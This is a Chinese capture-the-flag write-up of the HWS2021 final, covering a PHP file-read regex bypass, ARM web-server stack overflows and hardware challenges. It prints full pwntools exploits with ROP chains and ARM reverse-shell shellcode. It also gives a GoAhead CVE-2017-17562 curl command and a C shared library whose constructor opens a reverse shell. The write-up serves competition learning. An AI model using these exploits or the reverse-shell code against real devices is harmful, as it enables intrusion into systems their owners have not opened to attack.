HWS2021决赛WriteUp

这次比赛运气不错拿了第一,但是跟硬件相关的侧信道和故障注入一个都不会做TAT,还是需要向各位大佬学习一个。
PS:盲生,你发现华点了没?

web

http://hws2021-web.node3.buuoj.cn/
通过访问?file=index.php可以获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!isset($_GET['file'])) {
header('Location: /?file=log.txt');
die();
}

$file = $_GET['file'];

$re = '/^\w*\.\w*$/m';

preg_match_all($re, $file, $matches, PREG_SET_ORDER, 0);

if(count($matches) != 1) {
die('illegal operation!');
}

echo file_get_contents($file);

preg多行匹配,^可以匹配到任意行的起始,因此可以用换行符绕过检查。

1
view-source:http://hws2021-web.node3.buuoj.cn/?file=php://filter/read=%0aconvert.base64%0a-encode/resource=/flag

easylock

出题人提供的智能锁APP所有在线功能都无法使用。
我们通过社工(拨打锁的官方网站上的客服电话)的方法获取到了锁的相关信息,并且下载到了最新版的APP。
经过一些逆向和抓包分析,发现其后台API接口存在大量的信息泄露/平行权限,可以任意解绑硬件,绑定到新账号。于是通过第一次挑战上台获取到了锁ID。第一次挑战失败后通过锁ID获取到了锁主人账号,并将其所有的锁都绑定到了自己账号上,然后上台开锁。
该漏洞已经提交补天和厂家,细节暂不在此透露。

easyserver

可以跨目录读文件,但没啥用,限制长度了。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = "debug"

data = "GET /../../../../tmp/flag HTTP/1.1\r\n"
data += "\r\n"

p = remote("192.168.245.158", 59816)

p.send(data)


p.interactive()

0x1103C 栈溢出

1
2
3
4
5
6
7
8
9
10
11
if ( !strcmp_0(req, "POST") )
{
while ( recv_string(sock_fd, v9, 0x500) > 0 && strcmp("\n", &v9[60]) )
{
v9[75] = 0;
if ( !strcmp_0(&v9[60], "Content-Length:") )
content_length = atoi(&v9[76]);
}
if ( content_length == -1 )
return send_400(sock_fd);
}

然后 rop 调用 send_file 把 /tmp/207775d1ee9b9efa245fd9fb6fc03b68/flag 的内容通过socket发出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.log_level = "debug"

data = "POST /404.html HTTP/1.1 /tmp/207775d1ee9b9efa245fd9fb6fc03b68/flag\r\n"
# data += "\r\n"
# data += "B" * 0x500
data += "A" * 0x44c
data += "B" * (0x500 - 0x44c)


# 006099C POP {R0,PC}
# 00060A84 POP {R1,PC}

pop_r0 = 0x006099C
pop_r1 = 0x60A84
close_addr = 0x2C068



p = remote("192.168.245.158", 59816)

p.send(data)

sleep(0.1)

pause()


payload = "U" * 1034
payload += "BBBB"
payload += p32(pop_r0)
payload += p32(6)
payload += p32(pop_r1)
payload += p32(0x8acfc)
payload += p32(0x0010A08)
payload += p32(pop_r0)
payload += p32(6)
payload += p32(close_addr)
payload += "K" * (0x500 - 60 - len(payload) - 3)
payload += "\n\x00\x00"

p.send("C" * 59 + "\n\x00" + payload)


pause()

p.send("\n\x00" + cyclic(0x400 - 2))


p.interactive()

但是主办方说flag的路径必须通过getshell获得。。。。。

栈溢出然后使用 shellcode 反弹shellcode

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

from pwn import *

context.log_level = "debug"

data = "POST /404.html HTTP/1.1 "

"""
sub r4, sp, #0xd0
push {r4}
pop {pc}

"""
data += "\xd0\x40\x4d\xe2\x04\x40\x2d\xe5\x04\xf0\x9d\xe4\x02\x00\xa0\xe3"
data += "\r\n"

# data += "B" * 0x500
data += "A" * 0x44c
data += "B" * (0x500 - 0x44c)


# 006099C POP {R0,PC}
# 00060A84 POP {R1,PC}
# 0002BC90 POP {R7,PC}
# text:2691C svc POP {R4-R8,PC}
# 0003BD60 POP {R3-R11,PC}

pop_r0 = 0x006099C
pop_r1 = 0x60A84
close_addr = 0x2C068
pop_r7 = 0x0002BC90
svc_pop_r4_r8 = 0x0002691C

pop_r3_r11 = 0x0003BD60



p = remote("20.21.2.27", 59816)

p.send(data)

sleep(0.1)

pause()

fd_n = 6

shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00"

payload = "U" * 1034
payload = cyclic(834)
payload += shellcode
payload += "K" * (1034 - len(payload))
payload += "BBBB"
# payload += p32(pop_r7)
# payload += p32(0x7d) # mprotect

payload += p32(0x8acfc)
payload += p32(0x08ACE4) # socket

payload += p32(pop_r1)
payload += p32(0)

payload += p32(svc_pop_r4_r8)
payload += p32(0x11223344) * 4



# payload += shellcode


payload += "K" * (0x500 - 60 - len(payload) - 3)
payload += "\n\x00\x00"

p.send("C" * 59 + "\n\x00" + payload)
sleep(0.1)

pause()

p.send("\n\x00" + cyclic(0x400 - 2))
sleep(0.1)


p.interactive()

本题华点

rop和shellcode调了好久,坑点:

  1. 这块板子使用的是arm926核心的处理器,其指令集是armv5,虽然支持mmu,但是并不支持NX bit。因此不管编译选项有没有开NX,实际运行的时候都是没有NX的。
  2. 嵌入式rootfs常用的busybox,在启动/bin/sh的时候 argv[0]必须是”sh”, 直接传argv=NULL是无法启动的。因此rop了半天都不成功

因此,写出来一套shellcode后,后面的pwn题都可以秒杀了。

easyserver2

漏洞: 解析ip的时候栈溢出

1
2
3
4
5
6
int __fastcall read_from_remote(char *ip, int size)
{


for ( idx = 0; ip[idx] != ':'; ++idx )
stack[idx] = ip[idx]; // 拷贝ip

首先 rop 利用 r1 得到栈地址,然后jmp shellcode.

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.log_level = "debug"



p = remote("20.21.2.27", 59809)


sh_jmper = "\x80\x10\x81\xe2\xc4\x10\x81\xe2\x31\xff\x2f\xe1\x02\x00\xa0\xe3\x01\x10\xa0"

shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00"



# .text:00052494 STR R3, [R1]
# .text:00052498
# .text:00052498 ADD SP, SP, #0xC
# .text:0005249C POP {R4-R9,PC}


str_r3_r1 = 0x00052494


# .text:0002AC80 POP {R0,R4,PC}


r0_r4_pc = 0x002AC80


# .text:00061C04 POP {R1,PC}

r1_pc = 0x00061C04

# .fini:000646AC POP {R3,PC}

r3_pc = 0x000646AC

# .text:0001D554 BLX R1

blx_r1 = 0x0001D554


data = ""
data += sh_jmper[4:80]
data += "b" * (140 - len(data))
data += p32(0x8A1AC)
data += "b" * (0xa4 - len(data))
data += p32(0xa4)
data += "c" * 4


data += p32(r3_pc)
data += sh_jmper[:4]

data += p32(0x00052494)

data += "d" * 0xc
data += p32(0) * 6 # dummy
data += p32(blx_r1)


data += shellcode
data += ":\r\n"

payload = 'GET /index.html?&&?size=1231?ip=' + data


p.send(payload)


p.send("B" * 100)

p.interactive()

babyhttpd

POST中sscanf读取了%[^&]&%*[^=]=%[^;],读取了两个参数,以a=1&b=2为例,v11读取到了a=1,haystack读取到了2,msg长度最大为1024,可以达到栈溢出的效果,将返回地址修改为bss地址,可以达到shellcode执行的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = 'debug'
import socket

p = remote("20.21.2.27", 5000)


shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x02\x20\x42\xe0\xc8\x70\xa0\xe3\x51\x70\x87\xe2\x00\x00\x00\xef\x00\x40\xa0\xe1\x64\x10\x8f\xe2\x01\x20\xc1\xe5\x10\x20\xa0\xe3\x02\x70\x87\xe2\x00\x00\x00\xef\x3f\x70\xa0\xe3\x04\x00\xa0\xe1\x01\x10\x41\xe0\x00\x00\x00\xef\x04\x00\xa0\xe1\x01\x10\xa0\xe3\x00\x00\x00\xef\x04\x00\xa0\xe1\x02\x10\xa0\xe3\x00\x00\x00\xef\x30\x00\x8f\xe2\x02\x20\x42\xe0\x00\x10\xa0\xe1\x05\x10\x81\xe2\x00\x60\xa0\xe1\x80\x60\x86\xe2\x00\x10\x86\xe5\x04\x20\x86\xe5\x06\x10\xa0\xe1\x07\x20\xc0\xe5\x0b\x70\xa0\xe3\x00\x00\x00\xef\x02\xff\x11\x5c\x14\x15\x02\x1a\x2f\x62\x69\x6e\x2f\x73\x68\x00"

sc = shellcode

payload = "POST \r\n\r\nname=root&a="
payload = payload + cyclic(788) + p32(0x000224F8 + 0x330)
payload = payload.ljust(0x330, '\x00')
payload = payload + sc
p.send(payload)


p.interactive()

webcamera

goahead 2.5.0 CVE-2017-17562
https://www.jianshu.com/p/4e803d6f19a3
https://xz.aliyun.com/t/6407

1
2
curl "http://192.168.8.108/cgi-bin/upload_conf.cgi?LD_PRELOAD=/proc/self/fd/0" \
-X POST --data-binary @evil_final.so -i

eval.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>

char *server_ip = "127.000.000.001";
uint32_t server_port = 7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell

char *arggv[] = {"sh", NULL};

execve("/bin/sh", arggv, 0);
}

brokenUart

通过strace对二进制分析得知,程序会往/dev/ttyS2 写入flag

dump固件中的dtb得知系统有三个uart 端口

uart2端口对应ttys2,引脚是PE7 PE8

根据f1c的datasheet找到PE7 8 搭线后使用波特率9600的uart转串口从硬件截获flag

搭线方法可以直接使用镊子一段杜邦线连接USB转TTL串口模块的RX引脚,另一端直接往SOC的对应引脚上戳。

本题华点

华点:echo xxx > /dev/ttyXXX是用默认9600的波特率

keygame

在按键的高电平侧搭线到atmega开发板的gpio上,gpio间歇拉低电平,自动触发按键。
图示:



arduino 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void setup() {
// put your setup code here, to run once:

pinMode(8, OUTPUT);
pinMode(9, OUTPUT);
pinMode(10, OUTPUT);
Serial.begin(9600);
}

void loop() {
while(1) {
digitalWrite(8, LOW);
delay(10);
digitalWrite(8, HIGH);
delay(5);
digitalWrite(9, LOW);
delay(10);
digitalWrite(9, HIGH);
delay(5);
digitalWrite(10, LOW);
delay(10);
digitalWrite(10, HIGH);
delay(5);
}
}

本题华点

通过手册+dts数据可以得知,这个3按键不是使用的三个独立的GPIO,二是是使用的LRADC(模数转换器),按下不同的按键,LRADC引脚获得不同的分压,内核来判断不同按键。

理论上也可以拆掉lradc的外围电路,用信号发生器打一个0v-3v 500hz的正弦波,效果应该会更好,接线也更少。但现场设备不足,就没法验证这个思路了。

PS:赛后和其他队伍讨论,有的队伍说把三个按键的高电平侧焊接到一起,然后同时拉高拉低也可以过这个题,我认为是不行的。感觉就算真的可以,大概率是虚焊了,导线自己抖啊抖,抖到了对应按键。

其他华点

刷机工具

拿到单板之后一定要分析和单板相关的刷机工具,尤其是其中有没有Upload功能可以用来dump固件。本题的板子提供了sunxi-fel和dfu-util。其中sunxi-fel是allwinner的救砖模式刷机工具,dfu-util是uboot模式下的刷机工具。由于该单板使用的是spi-nand闪存,经过测试,sunxi-fel不支持对其完整编程,只能刷掉开头的uboot-spl部分。因此我们尝试使用dfu-util。

很明显,这工具支持upload,拿单板试一下,也确实可以。
因此通过.\dfu-util.exe -l 可以列出所有分区 (板子收回去了,印象里有u-boot, kernel.itb, rom, vendor) 四个。
通过.\dfu-util.exe -U xxx.bin -a $part就可以dump对应的分区到上位机。

拿到rom.bin之后,就可以解包出来rootfs,方便调试了。

提取DTB获取devicetree

arm linux内核目前基本都使用device tree来识别硬件设备了。device tree就类似于x86上的acpi table。
本次比赛的单板使用了uboot FitImage将 dtb和bImage打包到了一起。
FitImage也是一个device tree文件 只不过其中包含了kernel和真正的dtb

通过dtc对FitImage反编译,即可获得kernel和真正的dtb

当然,这里实际的数据都是用hexdump的形式表示的,我们只需要在hex编辑器中搜索一下开头的十几个字节,即可定位到dtb真正的位置并提取。

提取后再次使用dtc反编译,即可获得dts。

1
dtc -I dtb -O dts root.dtb

dtb: device tree blob , 设备树的二进制储存格式
dts: device tree string , 设备树的字符串储存格式

如何获取单板root权限方便调试

解包rom分区后可以看到/root/.ssh 目录下面有

分析可发现其一一对应。因此直接通过这个id_rsa就可以进入ssh。

但是我们在比赛的时候没发现这一点。。。。用了一个比较奇葩的方法

分析解包后的rootfs,可以发现其挂在了vendor分区,并执行了其中的start.sh
于是我们自己做了一个vendor分区镜像,刷了进去,在镜像中bind mount 了/root文件夹。
顺便还用buildroot编译了一个gdb和socat进去。。。

用mkfs.jffs2来制作刷机包。但是我们也一直没找到正确的erase size和block size。刷机进去后大文件都是乱码的。但幸好authorized_keys是正确的,因此可以用自己的key,ssh连进去了。

关于侧信道开发板

这玩意一看芯片型号是atmega2560 就很明显可以通过arduino方便的开发自己的程序实现某些功能了。因为arduino mega就是用的这块主控。